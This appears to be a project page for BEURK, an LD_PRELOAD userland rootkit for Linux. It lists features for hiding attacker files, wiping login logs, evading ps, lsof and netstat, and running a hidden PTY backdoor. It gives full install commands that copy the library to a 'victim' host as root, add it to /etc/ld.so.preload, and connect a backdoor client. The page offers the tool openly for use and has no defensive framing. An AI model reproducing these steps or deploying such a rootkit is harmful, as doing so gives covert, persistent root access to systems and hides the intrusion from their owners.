Beurk - Experimental Unix Rootkit

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.

NOTE: BEURK is a recursive acronym for B EURK E xperimental U nix R oot K it

Features

• Hide attacker files and directories
• Realtime log cleanup (on utmp/wtmp )
• Anti process and login detection
• Bypass unhide, lsof, ps, ldd, netstat analysis
• Furtive PTY backdoor client

Upcoming features

• ptrace(2) hooking for anti-debugging
• libpcap hooking undermines local sniffers
• PAM backdoor for local privilege escalation

Usage

• Compile

    git clone https://github.com/unix-thrust/beurk.git
    cd beurk
    make

• Install

    scp libselinux.so root@victim.com:/lib/
    ssh root@victim.com 'echo /lib/libselinux.so >> /etc/ld.so.preload'

• Enjoy !

    ./client.py victim_ip:port # connect with furtive backdoor

Dependencies
The following packages are not required in order to build BEURK at the moment:

• libpcap - to avoid local sniffing
• libpam - for local PAM backdoor
• libssl - for encrypted backdoor connection

Example on debian:

    apt-get install libpcap-dev libpam-dev libssl-dev

Download Beurk